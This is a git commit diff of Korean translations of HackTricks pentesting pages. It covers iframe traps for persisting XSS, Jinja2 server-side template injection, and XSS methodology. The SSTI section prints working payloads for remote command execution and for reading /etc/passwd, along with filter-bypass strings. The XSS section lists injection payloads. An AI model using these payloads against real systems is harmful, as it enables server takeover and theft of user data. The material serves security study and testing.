mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 04:33:28 +00:00
Translated ['pentesting-web/iframe-traps.md', 'pentesting-web/ssti-serve
This commit is contained in:
parent
a610f8e123
commit
f670cd5ed3
7 changed files with 211 additions and 134 deletions
BIN
.gitbook/assets/image (1248).png
Normal file
BIN
.gitbook/assets/image (1248).png
Normal file
Binary file not shown.
After Width: | Height: | Size: 33 KiB |
BIN
.gitbook/assets/image (1249).png
Normal file
BIN
.gitbook/assets/image (1249).png
Normal file
Binary file not shown.
After Width: | Height: | Size: 27 KiB |
|
@ -587,7 +587,6 @@
|
|||
* [Upgrade Header Smuggling](pentesting-web/h2c-smuggling.md)
|
||||
* [hop-by-hop headers](pentesting-web/abusing-hop-by-hop-headers.md)
|
||||
* [IDOR](pentesting-web/idor.md)
|
||||
* [Integer Overflow](pentesting-web/integer-overflow.md)
|
||||
* [JWT Vulnerabilities (Json Web Tokens)](pentesting-web/hacking-jwt-json-web-tokens.md)
|
||||
* [LDAP Injection](pentesting-web/ldap-injection.md)
|
||||
* [Login Bypass](pentesting-web/login-bypass/README.md)
|
||||
|
@ -651,6 +650,7 @@
|
|||
* [DOM Invader](pentesting-web/xss-cross-site-scripting/dom-invader.md)
|
||||
* [DOM XSS](pentesting-web/xss-cross-site-scripting/dom-xss.md)
|
||||
* [Iframes in XSS, CSP and SOP](pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md)
|
||||
* [Integer Overflow](pentesting-web/xss-cross-site-scripting/integer-overflow.md)
|
||||
* [JS Hoisting](pentesting-web/xss-cross-site-scripting/js-hoisting.md)
|
||||
* [Misc JS Tricks & Relevant Info](pentesting-web/xss-cross-site-scripting/other-js-tricks.md)
|
||||
* [PDF Injection](pentesting-web/xss-cross-site-scripting/pdf-injection.md)
|
||||
|
@ -672,6 +672,7 @@
|
|||
* [JavaScript Execution XS Leak](pentesting-web/xs-search/javascript-execution-xs-leak.md)
|
||||
* [CSS Injection](pentesting-web/xs-search/css-injection/README.md)
|
||||
* [CSS Injection Code](pentesting-web/xs-search/css-injection/css-injection-code.md)
|
||||
* [Iframe Traps](pentesting-web/iframe-traps.md)
|
||||
|
||||
## ⛈️ Cloud Security
|
||||
|
||||
|
|
33
pentesting-web/iframe-traps.md
Normal file
33
pentesting-web/iframe-traps.md
Normal file
|
@ -0,0 +1,33 @@
|
|||
# Iframe 함정
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 제로에서 히어로까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF로 HackTricks 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**telegram 그룹**](https://t.me/peass)에 가입하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **해킹 트릭을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## 기본 정보
|
||||
|
||||
이 iframe을 통한 XSS 남용 형태는 사용자가 웹 페이지를 이동하는 동안 정보를 도난당하는 것을 목적으로 하는 것으로, 원래 trustedsec.com의 이 2개의 게시물에서 발표되었습니다: [**여기**](https://trustedsec.com/blog/persisting-xss-with-iframe-traps) **및** [**여기**](https://trustedsec.com/blog/js-tap-weaponizing-javascript-for-red-teams).
|
||||
|
||||
공격은 XSS에 취약한 페이지에서 시작되며 **피해자가 XSS를 떠나지 않도록** 만들어 **iframe 내에서 탐색하도록** 만들어 웹 애플리케이션 전체를 차지하는 iframe 내에서 링크를 클릭하여 페이지를 탐색하면 됩니다.
|
||||
|
||||
XSS 공격은 기본적으로 웹 페이지를 화면의 100%에 iframe으로 로드합니다. 따라서 피해자는 **자신이 iframe 내부에 있다는 것을 알지 못할 것**입니다. 그런 다음 피해자가 iframe 내부(웹 내부)에서 링크를 클릭하여 페이지를 탐색하면, 해당 탐색에서 정보를 도난하는 임의의 JS가 로드된 iframe 내부에서 **탐색하게 될 것**입니다.
|
||||
|
||||
또한 더 현실적으로 만들기 위해, iframe이 페이지 위치를 변경할 때 확인하는 **리스너**를 사용하여 브라우저의 URL을 해당 위치로 업데이트하고 사용자가 브라우저를 사용하여 페이지를 이동하는 것으로 생각하게 할 수 있습니다.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1248).png" alt=""><figcaption><p><a href="https://www.trustedsec.com/wp-content/uploads/2022/04/regEvents.png">https://www.trustedsec.com/wp-content/uploads/2022/04/regEvents.png</a></p></figcaption></figure>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1249).png" alt=""><figcaption><p><a href="https://www.trustedsec.com/wp-content/uploads/2022/04/fakeAddress-1.png">https://www.trustedsec.com/wp-content/uploads/2022/04/fakeAddress-1.png</a></p></figcaption></figure>
|
||||
|
||||
또한, 민감한 정보를 도난하는 데 사용자가 방문하는 다른 페이지 뿐만 아니라 **작성된 양식의 데이터를 도난**하고(자격 증명?) 보내거나 **로컬 스토리지를 도난**하는 데도 리스너를 사용할 수 있습니다...
|
||||
|
||||
물론, **탭을 닫거나 브라우저에서 다른 URL을 입력하는 피해자는 iframe을 벗어날 것**입니다. 이를 수행하는 다른 방법은 **페이지를 새로 고침**하는 것이지만, 이는 새로운 페이지가 iframe 내부에 로드될 때마다 마우스 오른쪽 버튼을 비활성화하거나 사용자의 마우스가 iframe을 벗어나는 것을 인지하여 브라우저의 새로 고침 버튼을 클릭할 가능성이 있는 경우에 부분적으로 **방지**할 수 있습니다. 이 경우 브라우저의 URL이 XSS에 취약한 원래 URL로 업데이트되므로 사용자가 다시로드하면 다시 감염될 것입니다(사용자가 다시로드하면 다시 감염될 것임을 유의하십시오. 이는 매우 은밀하지 않음).
|
|
@ -7,10 +7,10 @@
|
|||
다른 HackTricks 지원 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 받아보세요
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **해킹 요령을 공유하고 싶다면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* **해킹 요령을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 제출**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -34,7 +34,7 @@ app.run()
|
|||
|
||||
### **디버그 문**
|
||||
|
||||
디버그 확장이 활성화되어 있으면 `debug` 태그가 현재 컨텍스트와 사용 가능한 필터 및 테스트를 덤프하는 데 사용할 수 있습니다. 이는 디버거를 설정하지 않고도 템플릿에서 사용할 수 있는 것을 확인하는 데 유용합니다.
|
||||
디버그 확장 기능이 활성화되어 있으면 `debug` 태그를 사용하여 현재 컨텍스트 및 사용 가능한 필터 및 테스트를 덤프할 수 있습니다. 이는 디버거를 설정하지 않고도 템플릿에서 사용할 수 있는 것을 확인하는 데 유용합니다.
|
||||
```python
|
||||
<pre>
|
||||
|
||||
|
@ -45,6 +45,7 @@ app.run()
|
|||
|
||||
|
||||
|
||||
|
||||
</pre>
|
||||
```
|
||||
### **모든 구성 변수 덤프**
|
||||
|
@ -60,15 +61,16 @@ app.run()
|
|||
{% endraw %}
|
||||
|
||||
|
||||
|
||||
```
|
||||
## **Jinja Injection**
|
||||
|
||||
우선, Jinja 삽입에서는 **샌드박스를 탈출하는 방법을 찾아야** 하며 일반적인 파이썬 실행 흐름에 **다시 접근**해야 합니다. 이를 위해 **샌드박스에서 접근 가능한** **객체를 남용**해야 합니다.
|
||||
우선, Jinja 삽입에서는 **샌드박스를 탈출하는 방법을 찾아야** 하며 일반적인 파이썬 실행 흐름에 **다시 접근**해야 합니다. 이를 위해 **샌드박스에서 접근 가능한** **비샌드박스 환경의 객체를 남용**해야 합니다.
|
||||
|
||||
### 전역 객체에 접근하기
|
||||
|
||||
예를 들어 코드 `render_template("hello.html", username=username, email=email)`에서 username과 email 객체는 **샌드박스가 아닌 파이썬 환경에서 가져오며** **샌드박스 환경 내에서 접근 가능**할 것입니다.\
|
||||
또한, **샌드박스 환경에서 항상 접근 가능한 다른 객체**들이 있습니다.
|
||||
예를 들어 코드 `render_template("hello.html", username=username, email=email)`에서 username과 email 객체는 **비샌드박스 파이썬 환경에서 가져오며** **샌드박스 환경 내에서 접근 가능**할 것입니다.\
|
||||
또한, **샌드박스 환경에서 항상 접근 가능한 다른 객체**들이 있습니다:
|
||||
```
|
||||
[]
|
||||
''
|
||||
|
@ -79,9 +81,9 @@ request
|
|||
```
|
||||
### \<class 'object'> 복구
|
||||
|
||||
그런 다음, 이러한 객체에서 클래스인 **`<class 'object'>`**에 도달하여 정의된 **클래스**를 **복구**해야 합니다. 이는 이 객체에서 **`__subclasses__`** 메소드를 호출하고 비샌드박스된 파이썬 환경에서 모든 클래스에 **액세스**할 수 있기 때문입니다.
|
||||
그런 다음 이러한 객체에서 클래스인 **`<class 'object'>`**에 도달해야 합니다. 이는 이 객체에서 **`__subclasses__`** 메서드를 호출하여 비샌드박스 Python 환경의 모든 클래스에 액세스할 수 있기 때문입니다.
|
||||
|
||||
**해당 객체 클래스**에 액세스하려면 **클래스 객체에 액세스**한 다음 **`__base__`**, **`__mro__()[-1]`** 또는 `.`**`mro()[-1]`**에 액세스해야 합니다. 그런 다음, 이 **객체 클래스**에 도달한 후 **`__subclasses__()`**를 **호출**해야 합니다.
|
||||
해당 **객체 클래스**에 액세스하려면 **클래스 객체에 액세스**한 다음 **`__base__`**, **`__mro__()[-1]`** 또는 `.`**`mro()[-1]`**에 액세스해야 합니다. 그런 다음 **이 객체 클래스**에 도달한 후 **`__subclasses__()`**를 호출합니다.
|
||||
|
||||
다음 예제를 확인하세요:
|
||||
```python
|
||||
|
@ -119,15 +121,16 @@ dict.__mro__[-1]
|
|||
{% endraw %}
|
||||
|
||||
|
||||
|
||||
# Not sure if this will work, but I saw it somewhere
|
||||
{{ [].class.base.subclasses() }}
|
||||
{{ ''.class.mro()[1].subclasses() }}
|
||||
```
|
||||
### RCE Escaping
|
||||
|
||||
**복구한** `<class 'object'>`을 호출하고 `__subclasses__`를 호출하여 이제 해당 클래스를 사용하여 파일을 읽고 쓰고 코드를 실행할 수 있습니다.
|
||||
**복구한** `<class 'object'>`을 호출하고 `__subclasses__`를 호출한 후에는 이러한 클래스를 사용하여 파일을 읽고 쓰고 코드를 실행할 수 있습니다.
|
||||
|
||||
`__subclasses__` 호출로 **수백 개의 새로운 함수에 액세스할 수 있는 기회**가 주어졌으며, **파일 클래스에 액세스**하여 **파일을 읽거나 쓰거나** 또는 `os`와 같이 **명령을 실행하는 클래스에 액세스**할 수 있는 클래스에 액세스할 때 행복해질 것입니다.
|
||||
`__subclasses__`를 호출함으로써 **수백 개의 새로운 함수에 액세스할 수 있는 기회**가 주어졌습니다. 우리는 **파일 클래스에 액세스**하여 파일을 **읽거나 쓰거나** 또는 `os`와 같이 **명령을 실행할 수 있는 클래스에 액세스**하는 것만으로도 만족할 것입니다.
|
||||
|
||||
**원격 파일 읽기/쓰기**
|
||||
```python
|
||||
|
@ -158,7 +161,7 @@ dict.__mro__[-1]
|
|||
{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}
|
||||
|
||||
```
|
||||
**더 많은 클래스**를 배울 수 있는 방법을 **탈출**할 수 있는지 확인하려면 다음을 **확인**하십시오:
|
||||
**더 많은 클래스**를 알아보려면 **이스케이프**할 수 있는 클래스를 **확인**할 수 있습니다:
|
||||
|
||||
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
||||
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
||||
|
@ -168,8 +171,8 @@ dict.__mro__[-1]
|
|||
|
||||
#### 일반적인 우회
|
||||
|
||||
이러한 우회는 일부 문자를 **사용하지 않고** 객체의 **속성에 액세스**할 수 있게 합니다.\
|
||||
우리는 이미 이러한 우회 방법 중 일부를 이전 예제에서 보았지만, 여기서 그것들을 요약해 보겠습니다:
|
||||
이러한 우회는 **일부 문자를 사용하지 않고** 객체의 **속성에 액세스**할 수 있게 합니다.\
|
||||
우리는 이미 이러한 우회 중 일부를 이전 예제에서 보았지만, 여기서 요약해 보겠습니다:
|
||||
```bash
|
||||
# Without quotes, _, [, ]
|
||||
## Basic ones
|
||||
|
@ -196,6 +199,7 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
|
|||
{% endraw %}
|
||||
|
||||
|
||||
|
||||
```
|
||||
* [**전역 객체에 액세스하는 더 많은 옵션을 확인하려면 여기로 돌아가세요**](jinja2-ssti.md#accessing-global-objects)
|
||||
* [**객체 클래스에 액세스하는 더 많은 옵션을 확인하려면 여기로 돌아가세요**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
|
||||
|
@ -209,7 +213,7 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
|
|||
#will be
|
||||
<script>alert(1);</script>
|
||||
```
|
||||
**`safe`** 필터를 사용하면 페이지에 JavaScript 및 HTML을 **HTML 인코딩** 없이 삽입할 수 있습니다.
|
||||
**`safe`** 필터를 사용하면 페이지에 JavaScript 및 HTML을 HTML 인코딩되지 않고 삽입할 수 있습니다.
|
||||
```python
|
||||
{{'<script>alert(1);</script>'|safe}}
|
||||
#will be
|
||||
|
@ -235,11 +239,12 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
|
|||
{% endraw %}
|
||||
|
||||
|
||||
```
|
||||
## **\<class 'object'>**를 사용하지 않고의 Jinja Injection
|
||||
|
||||
[**전역 객체**](jinja2-ssti.md#accessing-global-objects)에서 **그 클래스를 사용하지 않고 RCE에 도달하는 또 다른 방법**이 있습니다.\
|
||||
전역 객체 중 **어떤 함수**에 접근할 수 있다면, **`__globals__.__builtins__`**에 액세스할 수 있고 거기서 **RCE**를 매우 **간단하게** 얻을 수 있습니다.
|
||||
```
|
||||
## **\<class 'object'>** 없이 Jinja 삽입
|
||||
|
||||
[**전역 객체**](jinja2-ssti.md#accessing-global-objects)에서는 **그 클래스를 사용하지 않고도 RCE에 도달할 수 있는 또 다른 방법**이 있습니다.\
|
||||
전역 객체 중 **어떤 함수**에 접근할 수 있다면, **`__globals__.__builtins__`**에 액세스할 수 있고 거기서 **RCE**를 매우 **쉽게** 얻을 수 있습니다.
|
||||
|
||||
**`request`**, **`config`** 및 액세스할 수 있는 다른 **흥미로운 전역 객체**에서 **함수를 찾을 수** 있습니다:
|
||||
```bash
|
||||
|
@ -261,7 +266,7 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
|
|||
|
||||
# You can iterate through children objects to find more
|
||||
```
|
||||
일부 함수를 찾은 후 다음을 사용하여 내장 함수를 복구할 수 있습니다:
|
||||
한 번 일부 함수를 찾았다면 다음과 같이 내장 함수를 복구할 수 있습니다:
|
||||
```python
|
||||
# Read file
|
||||
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}
|
||||
|
@ -282,10 +287,9 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
|
|||
|
||||
# All the bypasses seen in the previous sections are also valid
|
||||
```
|
||||
### Fuzzing WAF 우회
|
||||
### WAF 우회를 위한 Fuzzing
|
||||
|
||||
**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) 是一种专门用于CTF的工具,但也可以用于在真实场景中暴力破解无效参数。
|
||||
该工具只是向服务器发送单词和查询以检测过滤器,寻找绕过方式,并提供交互式控制台。
|
||||
**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing)은 CTF에 특화된 도구이지만 실제 시나리오에서 잘못된 매개변수를 무차별 대입하는 데도 유용할 수 있습니다. 이 도구는 단어와 쿼리를 분사하여 필터를 감지하고 우회 방법을 찾아내며 대화형 콘솔도 제공합니다.
|
||||
```
|
||||
webui:
|
||||
As the name suggests, web UI
|
||||
|
@ -313,20 +317,20 @@ The request will be urlencoded by default according to the HTTP format, which ca
|
|||
## 참고 자료
|
||||
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
|
||||
* [여기에서 블랙리스트된 문자를 우회하는 attr 트릭을 확인하십시오](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
|
||||
* [여기에서 금지된 문자를 우회하는 attr 트릭을 확인하십시오](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
|
||||
* [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)
|
||||
* [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 제로에서 히어로까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하십시오!
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF로 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하십시오!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하십시오
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하십시오, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하십시오.**
|
||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하십시오.
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터에서 **@carlospolopm**을 팔로우하십시오 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 해킹 트릭을 공유하십시오.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
# XSS (Cross Site Scripting)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **채용 중입니다!** (_유창한 폴란드어 필수_).
|
||||
|
||||
|
@ -8,7 +8,7 @@
|
|||
|
||||
## 방법론
|
||||
|
||||
1. **제어할 수 있는 값** (_매개변수_, _경로_, _헤더_?, _쿠키_?)이 HTML에 **반영**되거나 **JS** 코드에서 **사용**되는지 확인합니다.
|
||||
1. **제어 가능한 값**(_매개변수_, _경로_, _헤더_?, _쿠키_?)이 HTML에 **반영**되거나 **JS** 코드에서 **사용**되는지 확인합니다.
|
||||
2. 반영/사용되는 **컨텍스트**를 찾습니다.
|
||||
3. **반영**된 경우
|
||||
1. 사용할 수 있는 **기호**를 확인하고, 그에 따라 payload를 준비합니다:
|
||||
|
@ -16,7 +16,7 @@
|
|||
1. 새 HTML 태그를 만들 수 있습니까?
|
||||
2. `javascript:` 프로토콜을 지원하는 이벤트 또는 속성을 사용할 수 있습니까?
|
||||
3. 보호 기능을 우회할 수 있습니까?
|
||||
4. HTML 콘텐츠가 클라이언트 측 JS 엔진(_AngularJS_, _VueJS_, _Mavo_...)에 의해 해석되고 있다면 [**클라이언트 측 템플릿 삽입**](../client-side-template-injection-csti.md)을 악용할 수 있습니다.
|
||||
4. HTML 콘텐츠가 클라이언트 측 JS 엔진(_AngularJS_, _VueJS_, _Mavo_...)에 의해 해석되는 경우 [**Client Side Template Injection**](../client-side-template-injection-csti.md)을 악용할 수 있습니다.
|
||||
5. HTML 태그 내부에서:
|
||||
1. 원시 HTML 컨텍스트로 이동할 수 있습니까?
|
||||
2. JS 코드를 실행하기 위해 새 이벤트/속성을 만들 수 있습니까?
|
||||
|
@ -25,12 +25,12 @@
|
|||
3. **JavaScript 코드** 내부에서:
|
||||
1. `<script>` 태그를 이스케이프할 수 있습니까?
|
||||
2. 문자열을 이스케이프하고 다른 JS 코드를 실행할 수 있습니까?
|
||||
3. 입력이 템플릿 리터럴 \`\`에 있는지 확인하십니까?
|
||||
3. 입력이 템플릿 리터럴 \`\`인가요?
|
||||
4. 보호 기능을 우회할 수 있습니까?
|
||||
4. 실행되는 JavaScript **함수**
|
||||
1. 실행할 함수의 이름을 지정할 수 있습니다. 예: `?callback=alert(1)`
|
||||
4. **사용**된 경우
|
||||
1. **DOM XSS**를 악용할 수 있으며, 입력이 어떻게 제어되는지와 **제어된 입력이 어떤 싱크에서 사용되는지** 주의 깊게 살펴보세요.
|
||||
1. **DOM XSS**를 악용할 수 있으며, 입력이 어떻게 제어되는지와 제어된 입력이 어떤 sink에서 사용되는지 주의 깊게 살펴보세요.
|
||||
|
||||
복잡한 XSS를 작업할 때 다음에 대해 알아두면 유용할 수 있습니다:
|
||||
|
||||
|
@ -42,29 +42,29 @@
|
|||
|
||||
XSS를 성공적으로 악용하려면 먼저 웹 페이지에서 **반영되는 값**을 찾아야 합니다.
|
||||
|
||||
* **중간 반영**: 매개변수의 값이나 경로가 웹 페이지에 반영되는 것을 발견하면 **반영된 XSS**를 악용할 수 있습니다.
|
||||
* **저장 및 반영**: 서버에 저장된 제어할 수 있는 값이 매번 페이지에 액세스할 때마다 반영되는 것을 발견하면 **저장된 XSS**를 악용할 수 있습니다.
|
||||
* **JS를 통해 액세스**: 제어할 수 있는 값이 JS를 사용하여 액세스되는 것을 발견하면 **DOM XSS**를 악용할 수 있습니다.
|
||||
* **중간 반영**: 매개변수의 값이나 경로가 웹 페이지에 반영되는 것을 발견하면 **Reflected XSS**를 악용할 수 있습니다.
|
||||
* **저장 및 반영**: 제어 가능한 값이 서버에 저장되고 페이지에 액세스할 때마다 반영되는 것을 발견하면 **Stored XSS**를 악용할 수 있습니다.
|
||||
* **JS를 통해 액세스**: 제어 가능한 값이 JS를 사용하여 액세스되는 것을 발견하면 **DOM XSS**를 악용할 수 있습니다.
|
||||
|
||||
## 컨텍스트
|
||||
|
||||
XSS를 악용하려고 할 때 **입력이 어디에 반영되는지**를 먼저 알아야 합니다. 컨텍스트에 따라 임의의 JS 코드를 다양한 방법으로 실행할 수 있습니다.
|
||||
XSS를 악용하려고 할 때 **입력이 어디에 반영되는지**를 알아야 합니다. 컨텍스트에 따라 임의의 JS 코드를 다양한 방법으로 실행할 수 있습니다.
|
||||
|
||||
### 원시 HTML
|
||||
|
||||
입력이 **원시 HTML에 반영**되는 경우 JS 코드를 실행하기 위해 일부 **HTML 태그**를 악용해야 합니다: `<img , <iframe , <svg , <script` ... 이것은 사용할 수 있는 많은 HTML 태그 중 일부에 불과합니다.\
|
||||
또한 [클라이언트 측 템플릿 삽입](../client-side-template-injection-csti.md)을 염두에 두세요.
|
||||
입력이 **원시 HTML에 반영**되는 경우 일부 **HTML 태그**를 악용하여 JS 코드를 실행해야 합니다: `<img , <iframe , <svg , <script` ... 이것들은 사용할 수 있는 많은 HTML 태그 중 일부에 불과합니다.\
|
||||
또한 [Client Side Template Injection](../client-side-template-injection-csti.md)을 염두에 두세요.
|
||||
|
||||
### HTML 태그 속성 내부
|
||||
|
||||
입력이 태그의 속성 값 내부에 반영되는 경우 다음을 시도할 수 있습니다:
|
||||
|
||||
1. **속성 및 태그에서 탈출**하여(그러면 원시 HTML에 있게 됨) 새 HTML 태그를 악용할 수 있습니다: `"><img [...]`
|
||||
2. **속성에서 탈출하지만 태그에서 탈출하지 못하는 경우** (`>`가 인코딩되거나 삭제됨), 태그에 따라 JS 코드를 실행하는 **이벤트를 생성**할 수 있습니다: `" autofocus onfocus=alert(1) x="`
|
||||
3. **속성에서 탈출할 수 없는 경우** (`"`가 인코딩되거나 삭제됨), 반영되는 **속성**에 따라 **값을 완전히 제어하거나 일부만 제어**하는 경우 악용할 수 있습니다. **예를 들어**, `onclick=`과 같은 이벤트를 제어하는 경우 클릭할 때 임의의 코드를 실행할 수 있습니다. 또 다른 흥미로운 **예**는 `href` 속성인데, `javascript:` 프로토콜을 사용하여 임의의 코드를 실행할 수 있습니다: **`href="javascript:alert(1)"`**
|
||||
1. **속성 및 태그에서 이스케이프**하여(그럼 원시 HTML에 있게 됨) 새 HTML 태그를 만들어 악용: `"><img [...]`
|
||||
2. **속성에서 이스케이프하지만 태그에서 이스케이프하지 못하는 경우**(`>`가 인코딩되거나 삭제됨), 태그에 따라 JS 코드를 실행하는 **이벤트를 만들 수 있습니다**: `" autofocus onfocus=alert(1) x="`
|
||||
3. **속성에서 이스케이프할 수 없는 경우**(`"`가 인코딩되거나 삭제됨), 반영되는 **속성**에 따라 **값을 완전히 제어하거나 일부만 제어**하는 경우 악용할 수 있습니다. **예를 들어**, `onclick=`과 같은 이벤트를 제어하는 경우 클릭할 때 임의의 코드를 실행할 수 있습니다. 또 다른 흥미로운 **예**는 `href` 속성인데, `javascript:` 프로토콜을 사용하여 임의의 코드를 실행할 수 있습니다: **`href="javascript:alert(1)"`**
|
||||
4. 입력이 "**악용할 수 없는 태그**" 내부에 반영되는 경우 취약점을 악용하기 위해 **`accesskey`** 트릭을 시도할 수 있습니다(이를 악용하기 위해 일종의 사회 공학이 필요합니다): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
Angular가 클래스 이름을 제어하는 경우 이상한 예제:
|
||||
Angular가 클래스 이름을 제어하는 경우 이상한 XSS의 예:
|
||||
```html
|
||||
<div ng-app>
|
||||
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
||||
|
@ -72,13 +72,13 @@ Angular가 클래스 이름을 제어하는 경우 이상한 예제:
|
|||
```
|
||||
### JavaScript 코드 내부
|
||||
|
||||
이 경우에는 HTML 페이지의 **`<script> [...] </script>`** 태그 사이, `.js` 파일 내부 또는 **`javascript:`** 프로토콜을 사용하는 속성 내부에 입력이 반영됩니다:
|
||||
이 경우에는 입력이 HTML 페이지의 **`<script> [...] </script>`** 태그 사이, `.js` 파일 내부 또는 **`javascript:`** 프로토콜을 사용하는 속성 내부에 반영됩니다:
|
||||
|
||||
* **`<script> [...] </script>`** 태그 사이에 반영된 경우, 입력이 어떤 종류의 따옴표 안에 있더라도 `</script>`를 주입하고 이 문맥에서 탈출을 시도할 수 있습니다. 이는 **브라우저가 먼저 HTML 태그를 구문 분석**한 다음 내용을 처리하기 때문에, 주입된 `</script>` 태그가 HTML 코드 내에 있는 것을 인식하지 못하기 때문에 작동합니다.
|
||||
* **JS 문자열 내부**에 반영된 경우이고 마지막 트릭이 작동하지 않는 경우 문자열을 **종료**하고 코드를 **실행**하고 JS 코드를 **재구성**해야 합니다 (오류가 있으면 실행되지 않음):
|
||||
* **`<script> [...] </script>`** 태그 사이에 반영된 경우, 입력이 어떤 종류의 따옴표 안에 있더라도 `</script>`를 주입하고 이 문맥에서 탈출을 시도할 수 있습니다. 이는 **브라우저가 먼저 HTML 태그를 구문 분석**한 다음 내용을 구문 분석하기 때문에, 주입된 `</script>` 태그가 HTML 코드 내에 있는 것을 인식하지 못하기 때문에 작동합니다.
|
||||
